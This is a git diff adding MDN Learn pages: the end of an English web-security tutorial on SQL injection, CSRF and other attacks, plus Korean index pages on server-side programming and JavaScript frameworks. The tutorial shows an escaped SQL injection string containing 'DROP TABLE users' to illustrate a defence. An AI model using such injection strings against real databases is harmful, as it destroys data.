+<p>The way to avoid this sort of attack is to ensure that any user data that is passed to an SQL query cannot change the nature of the query. One way to do this is to <a href="https://en.wikipedia.org/wiki/Escape_character">escape</a> all the characters in the user input that have a special meaning in SQL.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The SQL statement treats the ' character as the beginning and end of a string literal. By putting a backslash in front we "escape" the symbol (\'), and tell SQL to instead treat it as a character (just part of the string).</p>
+</div>
+
+<p>In the statement below we escape the ' character. The SQL will now interpret the name as the whole string shown in bold (a very odd name indeed, but not harmful!)</p>
+
+<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'</strong>;
+
+</pre>
+
+<p>Web frameworks will often take care of this escaping for you. Django, for example, ensures that any user-data passed to querysets (model queries) is escaped.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This section draws heavily on the information in <a href="https://en.wikipedia.org/wiki/SQL_injection">Wikipedia here</a>.</p>
+</div>
+
+<h3 id="Cross_Site_Request_Forgery_(CSRF)">Cross Site Request Forgery (CSRF)</h3>
+
+<p>CSRF attacks allow a malicious user to execute actions using the credentials of another user without that user’s knowledge or consent.</p>
+
+<p>This type of attack is best explained by example. John is a malicious user who knows that a particular site allows logged-in users to send money to a specified account using an HTTP <code>POST</code> request that includes the account name and an amount. John constructs a form that includes his bank details and an amount of money as hidden fields, and emails it to other site users (with the <em>Submit</em> button disguised as a link to a "get rich quick" site).</p>
+
+<p>If a user clicks the submit button, an HTTP <code>POST</code> request will be sent to the server containing the transaction details and <em>any client-side cookies that the browser associates with the site</em> (adding associated site cookies to requests is normal browser behaviour). The server will check the cookies, and use them to determine whether or not the user is logged in and has permission to make the transaction.</p>
+
+<p>The result is that a<span style="line-height: 1.5;">ny user who clicks the <em>Submit</em> button while they are logged in to the trading site will make the transaction. John gets rich!</span></p>
+
+<div class="note">
+<p><strong>Note</strong>: The trick here is that John doesn't need to have access to the user's cookies (or access credentials) — the user's browser stores this information, and automatically includes it in all requests to the associated server.</p>
+</div>
+
+<p>One way to prevent this type of attack is for the server to require that <code>POST</code> requests includes a user-specific site-generated secret (the secret would be supplied by the server when sending the web form used to make transfers). This approach prevents John from creating his own form because he would have to know the secret that the server is providing for the user. Even if he found out the secret and created a form for a particular user, he would no longer be able to use that same form to attack every user.</p>
+
+<p>Web frameworks often include such CSRF prevention mechanisms.</p>
+
+<h3 id="Other_threats">Other threats</h3>
+
+<p>Other common attacks/vulnerabilities include:</p>
+
+<ul>
+ <li><a href="https://www.owasp.org/index.php/Clickjacking">Clickjacking</a>. In this attack a malicious user hijacks clicks meant for a visible top level site and routes them to a hidden page beneath. This technique might be used, for example, to display a legitimate bank site but capture the login credentials into an invisible {{htmlelement("iframe")}} controlled by the attacker. It could alternatively be used to get the user to click a button on a visible site, but in doing so actually unwittingly click a completely different button. As a defence your site can prevent itself from being embedded in an iframe in another site by setting appropriate HTTP headers.</li>
+ <li><a href="/en-US/docs/Glossary/Distributed_Denial_of_Service">Denial of Service</a> (DoS). DoS is usually achieved by flooding a target site with spurious requests so that access to a site is disrupted for legitimate users. The requests may simply be numerous, or they may individually consume large amounts of resource (e.g. slow reads, uploading of large files, etc.) DoS defences usually work by identifying and blocking "bad" traffic while allowing legitimate messages through. These defences are typically within or before the web server (they are not part of the web application itself).</li>
+ <li><a href="https://en.wikipedia.org/wiki/Directory_traversal_attack">Directory Traversal</a>/File and disclosure. In this type of attack a malicious user attempts to access parts of the web server file system that they should not be able to access. This vulnerability occurs when the user is able to pass filenames that include file system navigation characters (e.g. <code>../../</code>). The solution is to sanitize input before using it.</li>
+ <li><a href="https://en.wikipedia.org/wiki/File_inclusion_vulnerability">File Inclusion</a>. In this attack a user is able to specify an "unintended" file for display or execution in data passed to the server. Once loaded this file might be executed on the web server or in the client-side (leading to an XSS attack). The solution is to sanitize input before using it.</li>
+ <li><a href="https://www.owasp.org/index.php/Command_Injection">Command Injection</a>. Command injection attacks allow a malicious user to execute arbitrary system commands on the host operating system. The solution is to sanitize user input before it might be used in system calls.</li>
+</ul>
+
+<p>There are many more. For a comprehensive listing see <a href="https://en.wikipedia.org/wiki/Category:Web_security_exploits">Category:Web security exploits</a> (Wikipedia) and <a href="https://www.owasp.org/index.php/Category:Attack">Category:Attack</a> (Open Web Application Security Project).</p>
+
+<h2 id="A_few_key_messages">A few key messages</h2>
+
+<p>Almost all the exploits in the previous sections are successful when the web application trusts data from the browser. Whatever else you do to improve the security of your website, you should sanitize all user-originating data before it is displayed in the browser, used in SQL queries, or passed to an operating system or file system call.</p>
+
+<div class="warning">
+<p>Important: The single most important lesson you can learn about website security is to <strong>never trust data from the browser</strong>. This includes <code>GET</code> request data in URL parameters, <code>POST</code> data, HTTP headers and cookies, user-uploaded files, etc. Always check and sanitize all incoming data. Always assume the worst.</p>
+</div>
+
+<p>A number of other concrete steps you can take are:</p>
+
+<ul>
+ <li>Use more effective password management. Encourage strong passwords that are changed regularly. Consider two-factor authentication for your site, so that in addition to a password the user must enter another authentication code (usually one that is delivered via some physical hardware that only the user will have, such as a code in an SMS sent to their phone).</li>
+ <li>Configure your web server to use <a href="/en-US/docs/Glossary/https">HTTPS</a> and <a href="/en-US/docs/Web/Security/HTTP_strict_transport_security">HTTP Strict Transport Security</a> (HSTS). HTTPS encrypts data sent between your client and server. This ensures that login credentials, cookies, <code>POST</code> data and header information are all much less available to attackers.</li>
+ <li>Keep track of the most popular threats (the <a href="/en-US/docs/">current OWASP list is here</a>) and address the most common vulnerabilities first.</li>
+ <li>Use <a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">vulnerability scanning tools</a> to perform automated security testing on your site (later on, your very successful website may also find bugs by offering a bug bounty <a href="https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/">like Mozilla does here</a>).</li>
+ <li>Only store and display data that you need to. For example, if your users must store sensitive information like credit card details, only display enough of the card number that it can be identified by the user, and not enough that it can be copied by an attacker and used on another site. The most common pattern these days is to only display the last 4 digits of a credit card number.</li>
+</ul>
+
+<p>Web frameworks can help mitigate many of the more common vulnerabilities.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>This article has explained the concept of web security and some of the more common threats that your website should attempt to protect against. Most importantly, you should understand that a web application cannot trust any data from the web browser! All user data should be sanitized before it is displayed, or used in SQL queries or file system calls.</p>
+
+<p>That's the end of <a href="/en-US/docs/Learn/Server-side/First_steps">this module</a>, covering your first steps in server-side website programming. We hope you've enjoyed learning the fundamental concepts, and you're now ready to select a Web Framework and start programming.</p>
+
+<p>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p>
diff --git a/files/ko/learn/server-side/index.html b/files/ko/learn/server-side/index.html
new file mode 100644
index 0000000000..4cdb1454cd
--- /dev/null
+++ b/files/ko/learn/server-side/index.html
@@ -0,0 +1,57 @@
+---
+title: Server-side website programming
+slug: Learn/Server-side
+tags:
+  - Beginner
+  - CodingScripting
+  - Intro
+  - Landing
+  - Learn
+  - Server
+  - Server-side programming
+  - Topic
+translation_of: Learn/Server-side
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">The <strong><em>Dynamic Websites(동적 웹사이트) </em></strong>–<em><strong> Server-side programming(서버-사이드 프로그래밍)</strong></em> 에 대한 주제는 동적 웹사이트를 생성하는 방법을 보여주는 과목(module) 시리즈이다;  (Dynamic Websites: HTTP 요구(requests)에 응답하여 요구에 맞는 정보를 전달하는 웹사이트) 각 과목들은 서버-사이드 프로그래밍의 포괄적인 소개를 제공한다. 기본적인 어플리케이션들을 생성하기 위한 Django (Python) 와Express (Node.js/JavaScript) 같은 웹 프레임워크를 사용하는 방법에 대한 초보자 레벨(beginner level)의 가이드도 포함한다.</p>
+
+<p>대부분의 주요 웹사이트들은 요구에 따라 동적으로 다른 데이터들을 보여주기 위해 여러 종류의 서버-사이드 기술을 사용한다. 예를 들어, Amazon에서 이용가능한 물품들이 얼마나 많을까? 그리고 Facebok에 얼마나 많은 게시글이 있을까? 를 상상해보자. 완전히 다른 static pages(정적 페이지)를 사용하여 이런 것들을 보여주는 것은 완전히 비효율적이다, 그래서 대신에 그런 정적인 템플릿(<a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>,  <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> 를 사용하여 구성된 템플릿)을 보여준 다음, 필요할 때마다, 템플릿 안에 보이는 데이터들을 동적으로 업데이트한다. 예) 당신이 Amazon에서 다른 물품을 보고 싶어할 때 물품만 다른 것으로 업데이트한다.</p>
+
+<p>현대의 웹 개발에서는, 서버-사이드 개발에 대해 배우는 것을 매우 추천한다.</p>
+
+<h2 id="Learning_pathway(학습_경로)">Learning pathway(학습 경로)</h2>
+
+<p>서버-사이드 프로그래밍을 시작하는 것은 보통 클라이언트-사이드(Client-side) 개발보다 더 쉽다. 왜냐하면, 동적 웹사이트는 비슷한 작업들을 많이 수행하는 경향이 있기 때문이다. (데이터베이스에서 데이터를 검색하고 페이지에 보여주는 것, 유저가 입력한 데이터터가 유효한 지 확인하고 데이터 베이스에 저장하는 것, 로그인한 유저의 권환을 체크하는 것 등) 그리고 이런 작업들과 다른 일반적인 웹 서버 기능을 쉽게 해주는 웹 프레임워크가 있기 때문이다.</p>
+
+<p>기본적인 프로그래밍 개념에 대한 지식 (또는 특정한 프로그래밍 언어에 대한 지식) 은 유용하나, 필수는 아니다. 비슷하게, 클라이언트-사이드 코딩에 대한 전문지식이 요구되지 않는다, 그러나 기본적인 지식은 클라이언트-사이드 웹 "프론트 엔드(Front End)"를 생성하는 개발자와 일 하는데 도움이 될 것이다.</p>
+
+<p>"웹을 작동하는 방법"을 이해할 필요가 있다. 다음 주제들을 먼저 읽는 것을 추천한다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Learn/Common_questions/What_is_a_web_server">What is a web server(웹서버는 무엇인가)</a></li>
+ <li><a href="/ko/docs/Learn/Common_questions/What_software_do_I_need">What software do I need to build a website?(웹사이트를 만들기 위해 필요한 소프트웨어는 무엇인가)</a></li>
+ <li><a href="/ko/docs/Learn/Common_questions/Upload_files_to_a_web_server">How do you upload files to a web server?(웹 서버에 파일을 업로드하는 방법은 무엇인가)</a></li>
+</ul>
+
+<p>이런 기본적인 이해를 통해, 이 섹션의 과목들을 공부할 준비가 될 것이다.</p>
+
+<h2 id="Modules(과목)">Modules(과목)</h2>
+
+<p>이번 주제에는 다음의 과목들을 포함하고 있다. 우선 첫번째 과목을 시작해야한다. 그 후에 두 개의 과목들 중 하나를 선택해 나아가야한다. 두 개의 과목은 가장 대중적인 서버-사이드 언어와 그에 맞는 적절한 웹 프레임워크를 사용하는 방법을 보여준다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/Server-side/First_steps">Server-side website programming first steps(서버-사이드 웹사이트 프로그래밍의 첫 단계)</a></dt>
+ <dd>이 과목은 서버 기술 문외한을 위한 서버-사이드 웹사이트 프로그래밍에 대한 정보를 제공한다. 또한, 서버-사이드 프로그래밍에 대한 근본적인 질문에 대한 답을 포함하고 있다. (그 질문은 서버가 무엇인지, 클라이언트-프로그래밍과 어떻게 다른 지, 서버가 왜 그렇게 유용한 지에 대한 것이다.) 그리고 몇몇의 더 대중적인 서버-사이드 웹 프레임워크에 대한 개요와 당신의 사이트에 가장 적합한 것을 선택하는 방법에 대한 가이드도 있다. 마지막으로, 웹 서버 보안에 대한 기본적인 섹션도 제공한다.</dd>
+ <dt><a href="/ko/docs/Learn/Server-side/Django">Django Web Framework (Python)</a></dt>
+ <dd>Django는 매우 대중적이고 Python으로 쓰여진 매우 중요한 서버-사이드 웹 프레임워크이다. 이 과목은 Django가 좋은 웹 서버 프레임워크인 이유, 개발 환경을 구축하는 방법, 그리고 Django로 일반적인 업무를 수행하는 방법을 설명해준다.</dd>
+ <dt><a href="/ko/docs/Learn/Server-side/Express_Nodejs">Express Web Framework (Node.js/JavaScript)</a></dt>
+ <dd>Express는 JavaScript로 쓰여진 대중적인 웹 프레임워크이며, node.js 런 타임 환경에서 호스트된다. 이 과목은 이 프레임 워크의 주요 장점, 개발 환경을 구축하는 법, 일반적인 웹 개발과 배치(deployment) 작업을 수행하는 법에 대해 설명해준다.</dd>
+</dl>
+
+<h2 id="다른_주제">다른 주제</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/Server-side/Node_server_without_framework">Node server without framework(프레임워크 없는 노드 서버)</a></dt>
+ <dd>이 글은 프레임워크를 사용하고 싶지 않는 사람들을 위해, 순수한 Node.js로 구성된 단순한 정적 파일 서버를 제공한다.</dd>
+</dl>
diff --git a/files/ko/learn/skills/index.html b/files/ko/learn/skills/index.html
new file mode 100644
index 0000000000..a73870b4a9
--- /dev/null
+++ b/files/ko/learn/skills/index.html
@@ -0,0 +1,21 @@
+---
+title: 스킬
+slug: Learn/Skills
+tags:
+  - Index
+translation_of: Learn
+---
+<p>여러분은 웹에 대하여 학습할 때 수 많은 스킬들을 선택해야 합니다. <a href="https://webmaker.org/en-US" rel="external">WebMaker</a>는 초심자들이 기초를 학습하는 로드맵인 <a href="https://webmaker.org/en-US/literacy" rel="external">Web Literacy Map</a>이라는 기본 스킬들의 목록을 정의합니다.  여기 MDN에서는 웹사이트를 제작하는데 필요한 역량에 초점을 맞추고, 모든 스킬 레벨에 대한 학습을 제공합니다:</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Web_Mechanics">Web Mechanics</a></dt>
+ <dd>웹 생태계를 이해한다</dd>
+ <dt><a href="/en-US/docs/Learn/Infrastructure">Infrastructure</a></dt>
+ <dd>웹의 기술적 스택을 이해한다</dd>
+ <dt><a href="/en-US/docs/Learn/Coding-Scripting">Coding/Scripting</a></dt>
+ <dd>상호적인 웹 경험(Web experience)를 만든다.</dd>
+ <dt><a href="/en-US/docs/Learn/Design_and_Accessibility">Design and Accessibility</a></dt>
+ <dd>웹 리소스를 이용하여 모두와 효과적으로 의사소통한다</dd>
+ <dt><a href="/en-US/docs/Learn/Composing_for_the_web">Composing for the web</a></dt>
+ <dd>웹 콘텐츠를 만들고 관장한다</dd>
+</dl>
diff --git a/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/index.html b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/index.html
new file mode 100644
index 0000000000..34a443990a
--- /dev/null
+++ b/files/ko/learn/tools_and_testing/client-side_javascript_frameworks/index.html
@@ -0,0 +1,165 @@
+---
+title: Understanding client-side JavaScript frameworks
+slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks
+translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">자바스크립트 프레임워크는 최신 프론트엔드 웹 개발의 필수 부분으로, 개발자에게 확장 가능한 대화형 웹 응용 프로그램을 구축하기 위한 검증된 도구를 제공합니다. 많은 현대 기업들은 프레임워크를 도구화(tooling)의 표준 부분으로 사용하기때문에, 프론트엔드 개발에는 이제 프레임워크 경험이 필요합니다.</p>
+
+<p class="summary">프론트엔드 개발자 지망생으로서 프레임워크를 배울 때 시작해야 할 부분을 알기가 어려울 수 있습니다. 선택할 수 있는 프레임워크가 너무 많고, 새로운 프레임워크는 항상 나타나고,대부분 유사한 방식으로 작동하지만 다른 일을 합니다. 때문에 프레임워크를 사용할 때 주의해야 할 몇 가지 사항이 있습니다.</p>
+
+<p class="summary">이 글에서는 프레임워크를 배우는데 도움이되는 편안한 출발점을 제공하고자 합니다. 우리는 React/ReactDOM, Vue, 또는 그외 특정 프레임워크에 대해 알아야 할 모든 것을 철저하게 가르치려는것이 아닙니다. 프레임워크 자체 문서들 및 다른 리소스들이 이미 철저하게 가르쳐주고 있습니다. 대신 우리는 다음과 같은, 보다 근본적인 질문에 답하고 지원하려고 합니다.</p>
+
+<ul>
+ <li class="summary">왜 프레임워크를 사용해야 하나요? 그들이 어떤 문제를 해결하나요?</li>
+ <li class="summary">프레임워크를 선택할 때 어떤 질문을 해야 하나요? 프레임워크를 사용해야 하나요?</li>
+ <li class="summary">프레임워크에는 어떤 기능이 있나요? 그것들은 일반적으로 어떻게 작동하고, 이러한 기능에 대한 프레임워크에 구현은 어떻게 다른가요?</li>
+ <li class="summary">"vanilla" 자바스크립트 또는 HTML과 어떤 관련이 있나요?</li>
+</ul>
+
+<p class="summary">그 후에, 우리는 몇 가지 다른 프레임워크 선택의 핵심을 다루는 튜토리얼을 제공할 것입니다. 이는 더 심도있게 학습하기에 충분한 맥락과 친숙함을 제공해줄겁니다. 우리는 여러분이 앞으로 나아가 접근성과 같은 웹 플랫폼의 근본적인 모범 사례를 잊지 않는 실용적인 방법으로 프레임워크에 대해 배우고 발전시키기를 바랍니다.</p>
+
+<p class="summary"><strong><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">"클라이언트 사이드 프레임워크 소개"문서로 지금 시작하세요!</a></strong></p>
+
+<h2 id="전제조건">전제조건</h2>
+
+<p>클라이언트 사이드 프레임워크를 배우기 전에 <a href="/ko/docs/Learn/HTML">HTML</a>, <a href="/ko/docs/Learn/CSS">CSS</a>, <a href="/ko/docs/Learn/JavaScript">JavaScript</a> 와 같은 핵심 웹 언어의 기초를 익혀야 합니다.</p>
+
+<p>결과적으로 코드는 더욱 풍부해지고 전문적이게 될 것이며, 프레임워크가 구축하고 있는 근본적인 웹 플랫폼 기능을 이해한다면 보다 확실하게 문제를 해결할 수 있을 겁니다.</p>
+
+<div class="in-page-callout webdev">
+<h3 id="프론트_개발자가_되고_싶으신가요">프론트 개발자가 되고 싶으신가요?</h3>
+
+<p>목표를 달성하는데 필요한 모든 필수 정보가 포함 된 과정을 구성했습니다.</p>
+
+<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">시작하기</a></p>
+</div>
+
+<h2 id="입문_가이드">입문 가이드</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">1. 클라이언트 사이드 프레임워크 소개</a></dt>
+ <dd>우리는 이 영역에 대한 일반적인 개요로 프레임워크를 살펴 볼겁니다. 자바스크립트와 프레임워크의 간략한 역사, 프레임워크가 왜 존재하는지와 그들이 우리에게 무엇을 제공하는지, 학습을 프레임워크를 어떻게 선택할지 생각하는 방법, 클라이언트 사이드 프레임워크에 대한 어떤 대안이 있는지 등이 해당합니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">2. 프레임워크 주요 기능</a></dt>
+ <dd>각 주요 자바스크립트 프레임워크는 DOM 업데이트, 브라우저 이벤트 처리, 즐거운 개발 경험에 대해 다양한 접근 방식을 갖고 있습니다. 이 글에서는 "4대" 프레임워크의 주요 기능을 살펴보고 프레임워크가 높은 수준에서 작동하는 방식과 프레임워크의 차이점을 살펴봅니다.</dd>
+</dl>
+
+<h2 id="리액트_튜토리얼">리액트 튜토리얼</h2>
+
+<div class="blockIndicator note">
+<p><strong>참조</strong>: React/ReactDOM 16.13.1과 create-react-app 3.4.1. 을 사용하여 2020년 5월에 마지막으로 테스트된 튜토리얼입니다.</p>
+
+<p>우리의 버전에 대해 여러분의 코드를 확인해야 하는 경우, 우리의 <a href="https://github.com/mdn/todo-react">todo-react repository</a>에서 샘플 React app 코드의 완성된 버전을 볼 수 있습니다. 라이브 버전을 실행하려면<a href="https://mdn.github.io/todo-react-build/">https://mdn.github.io/todo-react-build/</a>을 참조하세요.</p>
+</div>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">1. React 시작하기</a></dt>
+ <dd>이 글은 리액트에 대한 첫걸음입니다. 우리는 리액트의 배경과 사용 사례에 대한 약간의 세부 사항을 학습합니다. 우리 컴퓨터 로컬에서 기본적인 리액트 툴체인을 설정하고, 간단한 스타터 앱을 만들어 리액트가 어떻게 작동하는지 배웁니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">2. React todo list 시작하기</a></dt>
+ <dd>우리가 React에서 개념 증명(proof-of-concept)을 작성하는 임무를 맡았다고 가정 해 봅시다. 사용자가 작업하려는 과제(task)를 추가, 수정, 삭제 혹은 그것들을 삭제하는 대신 완료된 것으로 표시할 수 있는 앱입니다. 이 글에서는 기본 앱 컴포넌트 구조와 스타일을 배치하는 과정, 각각의 컴포넌트를 정의하고 상호작용하는 방법을 설명합니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">3. React app 컴포넌트 세분화</a></dt>
+ <dd>이 시점에서 우리의 앱은 단일체(monolith)입니다. 우리는 이것을 관리 가능하고 설명적인 컴포넌트들로 분리해야 합니다. React에는 컴포넌트와 컴포넌트가 아닌것에 대한 엄격한 규칙이 없습니다. 그것은 사용자에게 달려있습니다. 이 글에서는 앱을 컴포넌트로 분해하는 합리적인 방법을 보여줍니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">4. React 상호작용(interactivity): Events 와 state</a></dt>
+ <dd>컴포넌트 구성이 완성되면 완전한 정적 UI 에서 실제로 상호작용하고 변화시킬 수 있는 UI로 앱을 업데이트할 차례입니다. 이 글에서는 이벤트와 state에 대해 자세히 알아봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">5. React 상호작용(interactivity): 수정, 필터링, 조건부 렌더링</a></dt>
+ <dd>리액트 여정이 끝날 무렵(적어도 현재로서는) Todo list 앱의 주요 기능 영역에 마무리 작업을 추가합니다. 여기서는 기존 과제(task)를 편집할 수 있도록 하고, 완료된 과제와 완료되지 않은 과제 모두 필터링 하는 작업이 포함됩니다. 또한 도중에 조건부 UI 렌더링도 살펴보겠습니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">6. React 접근성(Accessibility)</a></dt>
+ <dd>이 글에서는 React의 포커스 관리를 포함하여 접근성에 관점을 맞출것입니다. 키보드 전용 및 스크린 리더기 사용자 모두에게 유용성을 개선하고 혼동을 줄일 수 있습니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">7. React 리소스(resources)</a></dt>
+ <dd>우리의 마지막 글은 학습을 계속하기 위해 사용할 수 있는 React 리소스 목록을 제공합니다.</dd>
+</dl>
+
+<h2 id="Ember_tutorials">Ember tutorials</h2>
+
+<div class="blockIndicator note">
+<p><strong>참조</strong>: Ember/Ember CLI 3.18.0을 사용하여 2020년 5월에 마지막으로 테스트된 튜토리얼입니다.</p>
+
+<p>우리의 버전에 대해 여러분의 코드를 확인해야 하는 경우, 우리의 <a href="https://github.com/NullVoxPopuli/ember-todomvc-tutorial/tree/master/steps/00-finished-todomvc/todomvc">ember-todomvc-tutorial repository</a>에서 샘플 Ember app 코드의 완성된 버전을 볼 수 있습니다. 라이브 버전을 실행하려면 <a href="https://nullvoxpopuli.github.io/ember-todomvc-tutorial/">https://nullvoxpopuli.github.io/ember-todomvc-tutorial/</a> 을 참조하세요. (여기에는 튜토리얼에서 다루지 않은 몇 가지 기능도 포함됩니다.)</p>
+</div>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">1. Ember 시작하기</a></dt>
+ <dd>첫 번째 Ember 글에서는 Ember 의 작동방식과 유용한 기능에 대해 살펴봅니다. 로컬에 Ember 툴체인을 설치하고, 샘플 앱을 만들어 개발 준비를 위한 초기 설정을 수행합니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">2. Ember app 구조와 컴포넌트화</a></dt>
+ <dd>이 글에서는 TodoMVC Ember app의 구조를 설계하는 방법에 대해 알아봅니다. HTML을 추가하고, HTML 구조를 컴포넌트로 나눕니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">3. Ember 상호작용(interactivity): Events, classes, state</a></dt>
+ <dd>이제 앱에 상호작용하는 기능을 추가하여 새로운 할일(todo) 항목을 추가하고 표시할 수 있습니다. 그 과정에서 Ember 이벤트를 사용하는 방법을 살펴보겠습니다. 상호작용하는 기능을 제어하기 위해 자바스크립트 코드를 포함하는 컴포넌트 클래스를 만들고, 앱의 데이터 상태(state)를 추적하는 서비스를 설정합니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">4. Ember 상호작용: 푸터 기능, 조건부 렌더링</a></dt>
+ <dd>이제 앱에서 푸터 기능을 시작할 차례입니다. 아직 완료하지 않은 할일(todo) 항목의 수를 카운트하고, 완료된 할일(체크표시한 체크박스)에 스타일을 올바르게 적용합니다. 또한 "Clear completed" 버튼을 연결합니다. 이 과정에서 템플릿에서 조건부 렌더링을 사용하는 방법을 배웁니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">5. Ember 라우팅</a></dt>
+ <dd>이 글에서는 라우팅 또는 URL기반 필터링에 대해 설명합니다. 이를 사용하여 todo의 세 가지 뷰("All", "Active", "Completed")를 고유한 URL로 제공합니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">6. Ember 리소스와 문제해결</a></dt>
+ <dd>마지막 Ember 글은 학습을 진행하는데 사용할 수 있는 리소스 목록, 유용한 문제 해결(troubleshooting)에 관한 내용, 그외 정보를 제공합니다.</dd>
+</dl>
+
+<h2 id="Vue_tutorials">Vue tutorials</h2>
+
+<div class="blockIndicator note">
+<p><strong>참조</strong>: Vue 2.6.11을 사용하여 2020년 5월에 마지막으로 테스트한 튜토리얼입니다.</p>
+
+<p>우리의 버전에 대해 여러분의 코드를 확인해야 하는 경우, 우리의 <a href="https://github.com/mdn/todo-vue">todo-vue repository</a>에서 샘플 Vue app 코드의 완성된 버전을 볼 수 있습니다. 라이브 버전을 실행하려면 <a href="https://mdn.github.io/todo-vue/dist/">https://mdn.github.io/todo-vue/dist/</a> 를 참조하세요.</p>
+</div>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">1. Vue 시작하기</a></dt>
+ <dd>이제 세 번째 프레임워크 뷰를 소개합니다. 이 글에서는 Vue의 배경을 약간 살펴보고, 설치 방법과 새 프로젝트를 만드는 방법에 대해 알아봅니다. 전체 프로젝트의 HLS(high-level structure) 와 각각의 컴포넌트를 공부합니다. 또한, 프로젝트를 로컬에서 실행하는 방법과 예제 작성을 시작할 준비를 합니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">2. 첫 번째 Vue 컴포넌트 만들기</a></dt>
+ <dd>이제 Vue에 대해 자세히 살펴보고 우리만의 커스텀 컴포넌트를 만들겠습니다. Todo list의 각 항목을 나타내는 컴포넌트를 만드는 것으로 시작합니다. 그 과정에서, 다른 컴포넌트 내에서 컴포넌트를 호출하고, props(properties)를 통해 데이터를 전달하고 데이터 상태를 저장하는 등 중요한 개념을 학습합니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">3. Vue 컴포넌트 리스트 렌더링</a></dt>
+ <dd><span class="author-d-1gg9uz65z1iz85zgdz68zmqkz84zo2qoxwoxz78zz83zz84zz69z2z80zgwxsgnz83zfkt5e5tz70zz68zmsnjz122zz71z">이 시점에서 우리는 충분히 잘 작동하는 컴포넌트를 얻었습니다. 이제 앱에 여러 <code>ToDoItem</code> 컴포넌트를 추가할 준비가 되었습니다. 이 글에서는 <code>App.vue</code> 컴포넌트에 todo 항목 데이터 셋을 추가하는 방법을 살펴보고, <code>v-for</code> 지시문(directive)을 사용하여 <code>ToDoItem</code> 컴포넌트를 반복하여 출력합니다. </span></dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">4. 새로운 todo form추가: Vue events, methods, models</a></dt>
+ <dd>이제 샘플 데이터와 각 비트의 데이터를 가져와서 앱의 <code>ToDoItem</code> 내에 렌더링하는 루프가 준비되었습니다. 다음으로 필요한 것은 사용자가 todo 항목을 앱에 입력할 수 있게 하는 기능입니다. 이를 위해 text <code>&lt;input&gt;</code>, 데이터가 제출될 때 발생하는 이벤트, 데이터 제출 시 데이터를 추가하고 목록을 다시 렌더링하기 위한 방법, 데이터를 제어하는 모델이 필요합니다. 이것이 이 글에서 다룰 내용입니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">5. Styling Vue components with CSS</a></dt>
+ <dd>마침내 우리 앱이 좀 더 멋지게 보입니다. 이 글에서는 CSS를 사용하여 Vue 컴포넌트를 스타일링하는 다양한 방법을 살펴봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">6. Vue computed properties 사용하기</a></dt>
+ <dd>이 글에서는 computed properties 라고 불리는 Vue 기능을 사용하여 완료된 todo 항목 수를 표시하는 카운터를 추가합니다. 이들은 메서드와 유사하게 작동하지만 종속성 중 하나가 변경될 때만 다시 실행됩니다.</dd>
